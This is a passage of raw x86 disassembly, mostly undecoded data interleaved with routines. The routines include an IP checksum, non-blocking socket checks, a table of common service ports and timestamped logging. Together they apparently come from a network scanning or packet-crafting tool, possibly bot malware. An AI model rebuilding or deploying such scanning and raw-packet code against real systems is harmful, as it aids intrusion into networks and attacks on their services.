		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
		dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
		dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 0E8535959h, 22DC5D7h
		dd 0FC75FF90h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 0C545E890h
		db 2Dh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 3CE85659h, 90022DC4h, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0D415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	0E8900000h
		dd 229C36Bh, 33F0452Bh,	3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EE081D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6B815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 0C179E890h, 8B55022Dh, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	0B6D415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h,	15FF0E75h
		dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
		dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h,	7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
		dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
		dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
		dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CEA02h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
		dd 0A366004Ch, 4CE9FEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h,	0B6B815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 70E8FC45h, 900229BEh
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
		dd 68500C45h, 43661Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0E8905659h, 22DBD7Bh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5FC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 0E8EC4589h, 716A0DADh, 0EC4D8D90h, 6A51046Ah
		dd 0A3505302h, 4CEE78h,	0B63415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
		dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
		dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
		dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
		dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
		dd 4CEE24A3h, 8458B00h,	400068h, 0EE28A300h, 1D88004Ch
		dd 4CEE39h, 0B65415FFh,	5356004Ch, 0EE3AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
		dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
		dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
		dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
		dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h,	2004Ch
		dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
		dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch,	0C6004CEEh
		dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
		dd 4CEE34A3h, 5FF6600h,	4CEE1Ch, 0EE3005FFh, 0A166004Ch
		dd 4CEE2Eh, 0BE59056Ah,	4CEE2Ch, 4CEE5CBFh, 1D896600h
		dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
		dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
		dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h,	6A004CEEh
		dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 0C4E8FFFFh
		dd 900229B7h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0BE7EE890h, 0C2E90227h, 5FFFFFFDh, 0EE7CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D810[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436840
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43682C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2790102h
		mov	ebx, offset dword_4D327C
		mov	edi, 80h
		mov	esi, offset dword_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43688C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_4368A0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 4E8h
; ---------------------------------------------------------------------------
		mov	ch, 2Dh
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640
		mov	edi, eax
		cmp	edi, esi
